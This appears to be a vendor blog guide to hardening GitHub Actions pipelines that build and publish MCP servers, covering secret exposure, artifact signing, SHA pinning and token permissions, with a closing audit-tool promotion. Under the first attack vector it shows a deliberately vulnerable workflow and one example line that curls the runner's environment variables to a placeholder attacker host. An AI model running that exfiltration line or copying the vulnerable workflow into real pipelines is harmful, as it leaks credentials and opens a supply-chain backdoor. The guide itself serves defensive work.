Topic: mcp server CI pipeline security
MCP server CI/CD pipeline security — protecting the build chain that ships your MCP server
An MCP server's security posture is only as good as the pipeline that produces it. A compromised CI runner, secrets in environment variables, unsigned artifacts, or an overly permissive GitHub Actions workflow can let an attacker ship a backdoored version of the server without touching a single line of application code.
The CI pipeline as an attack surface
Every security control in your MCP server's application code — input validation, authentication middleware, rate limiting, output sanitization — is rendered irrelevant if an attacker can replace the artifact that gets deployed. The CI/CD pipeline holds write access to everything that matters: it reads the source code, compiles and packages the artifact, publishes to the package registry or container registry, and often triggers the deployment directly. Compromising the pipeline is logically equivalent to owning the application, but it typically receives far less security scrutiny than the application code itself.
For MCP servers distributed via npm, this exposure is amplified: a single compromised npm publish step sends a backdoored package to every consumer who runs npm install or npm update. The attacker does not need to breach any individual consumer's infrastructure — the supply chain delivers the malicious code automatically.
Attack vector 1: Secrets in CI environment variables exfiltrated via workflow steps
GitHub Actions masks secret values in log output when the secret is registered as an Actions secret — but ::add-mask:: only prevents the exact string from appearing in the workflow log. It does not prevent code running in the workflow from reading process.env and transmitting it out-of-band. A pull request from a fork that adds a test file or modifies a postinstall script can read and exfiltrate every secret passed to the workflow:
# Vulnerable workflow: passes secrets to a job triggered by fork PRs
name: CI
on:
pull_request: # fires on PRs from forks — untrusted code runs here
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }} # exposed to postinstall scripts
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
- run: npm test
A malicious PR adds a postinstall entry to a dependency's package.json (via a crafted lockfile or a dependency confusion attack) or modifies a test file to call require('child_process').execSync('curl -d "'+JSON.stringify(process.env)+'" https://evil.example.com/collect'). The secret leaves the runner before any human reviewer sees the log.
The fix has two parts: first, never pass secrets to jobs triggered by pull_request events from forks; second, replace long-lived credentials with short-lived OIDC tokens that are scoped to the specific job and expire automatically:
# Secure pattern: OIDC authentication — no long-lived secrets
name: CI
on:
pull_request: # fork PRs: no secrets in scope
push:
branches: [main] # secrets only on trusted pushes
permissions:
id-token: write # required for OIDC token request
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # pinned SHA
- run: npm ci --ignore-scripts # no postinstall scripts
publish:
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
needs: test
steps:
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsPublish
aws-region: us-east-1
# OIDC: no AWS_SECRET_ACCESS_KEY stored anywhere — token is ephemeral
Attack vector 2: Artifact tampering between build and deploy
A build pipeline typically writes its output — an npm tarball, a Docker image, a compiled binary — to an artifact store (S3, GitHub Packages, an Artifactory instance). If the deployment stage fetches that artifact without verifying its integrity, an attacker who gains write access to the artifact store can substitute a tampered version between the build step and the deploy step. The deploy step picks up the tampered artifact and installs it into production.
The defense is to compute the artifact's SHA256 digest immediately after the build step, sign it with a build key, and verify the signature in every subsequent step that uses the artifact:
# Build step: generate and sign artifact digest
- name: Build package
run: npm pack # produces mcp-server-1.0.0.tgz
- name: Compute and sign artifact digest
run: |
sha256sum mcp-server-1.0.0.tgz > mcp-server-1.0.0.tgz.sha256
# Sign with cosign (keyless, using OIDC identity)
cosign sign-blob \
--bundle mcp-server-1.0.0.tgz.cosign.bundle \
mcp-server-1.0.0.tgz
- name: Upload artifact with signature bundle
uses: actions/upload-artifact@26f96dfa64... # pinned SHA
with:
name: mcp-package
path: |
mcp-server-1.0.0.tgz
mcp-server-1.0.0.tgz.sha256
mcp-server-1.0.0.tgz.cosign.bundle
# Deploy step: verify signature before use
- name: Download artifact
uses: actions/download-artifact@fa0a91b854... # pinned SHA
with:
name: mcp-package
- name: Verify artifact integrity
run: |
cosign verify-blob \
--bundle mcp-server-1.0.0.tgz.cosign.bundle \
--certificate-identity-regexp "https://github.com/your-org/mcp-server" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
mcp-server-1.0.0.tgz
sha256sum --check mcp-server-1.0.0.tgz.sha256
Attack vector 3: Runner compromise via unpinned actions
A GitHub Actions workflow that references an action by tag (uses: actions/checkout@v4) rather than a full commit SHA is vulnerable to tag mutation. The repository owner of the action can move the v4 tag to point to a different commit at any time — including a commit that adds malicious code to the action's entrypoint. On the next workflow run, the mutated action executes on your runner with full access to your secrets and workspace.
Pinning to a commit SHA makes tag mutation irrelevant: the SHA is immutable, and the workflow will fail to check out the action if the SHA is not present in the action's repository history.
# Unpinned (vulnerable): tag can be moved to malicious commit
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
# Pinned to commit SHA (safe): immutable reference
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.7
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
# Keep pins updated with Dependabot for Actions:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
groups:
actions:
patterns: ["*"]
Attack vector 4: Overly permissive workflow tokens
By default, GITHUB_TOKEN in a GitHub Actions workflow has write permission to the repository contents, packages, pull requests, and deployments. A workflow that runs untrusted code (from a fork PR, or via an injected command in a workflow input) can use this token to push commits to the main branch, modify branch protection rules, or publish packages to GitHub Packages — all using a token that was never intended for those purposes.
The principle of least privilege applies: set the minimum permissions at the workflow level and elevate only for the specific job that needs them:
# Workflow-level default: deny all
name: CI
permissions:
contents: read # minimum required for checkout
jobs:
test:
runs-on: ubuntu-latest
# inherits read-only from workflow level — correct
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- run: npm ci --ignore-scripts && npm test
publish:
runs-on: ubuntu-latest
if: github.ref == 'refs/heads/main'
permissions:
contents: read
packages: write # only this job needs package write
id-token: write # only this job needs OIDC
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- run: npm publish --provenance # publishes with sigstore provenance
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
The MCP-specific risk: CI pipeline as the trust root for npm distribution
For MCP servers published on npm, the CI pipeline is the only gate between source code and the package that every consumer's npm install fetches. A compromised publish step — whether via a stolen NPM_TOKEN, a tampered artifact, or an overpermissioned token — sends malicious code to all downstream consumers automatically, with no further action required from the attacker. npm provenance attestations (generated by npm publish --provenance in a GitHub Actions workflow) create a verifiable link between the published package and the specific commit and workflow run that produced it. Consumers can verify provenance with npm audit signatures.
Minimal secure workflow template
name: Build, Test, and Publish MCP Server
on:
push:
branches: [main]
tags: ["v*"]
pull_request:
branches: [main]
# Deny all permissions at workflow level
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8
with:
node-version: "20"
cache: "npm"
- run: npm ci --ignore-scripts
- run: npm test
# SkillAudit grade gate: fail the build if grade < B
- name: SkillAudit security gate
uses: skillaudit/grade-gate@a1b2c3d4e5f6... # pinned SHA
with:
server-path: "."
minimum-grade: "B"
publish:
needs: test
if: startsWith(github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
permissions:
contents: read
packages: write
id-token: write # for npm provenance via OIDC
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8
with:
node-version: "20"
registry-url: "https://registry.npmjs.org"
- run: npm ci --ignore-scripts
- run: npm pack
- name: Verify build integrity
run: sha256sum *.tgz | tee build.sha256
- run: npm publish --provenance --access public
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
What SkillAudit checks
- unpinned-ci-actions — one or more GitHub Actions steps reference actions by mutable tag rather than a full commit SHA, exposing the pipeline to tag-mutation supply-chain attacks.
- long-lived-ci-secrets — cloud credentials (AWS, GCP, Azure) are stored as long-lived static secrets in CI rather than obtained via OIDC just-in-time token exchange.
- unsigned-artifacts — build artifacts are transferred between pipeline stages without integrity verification, leaving a window for tampering between build and deploy.
- overpermissioned-workflow-token — the workflow does not set
permissions: read-allor equivalent at the top level, leaving the defaultGITHUB_TOKENwith write access to repository resources for all jobs including those that run untrusted code.
SkillAudit inspects your GitHub Actions workflow YAML files, checks action reference formats for SHA pinning, identifies credential patterns in environment blocks, and verifies artifact signing steps are present in publish jobs.
Check your MCP server's build pipeline for supply-chain exposure.
Run a free audit →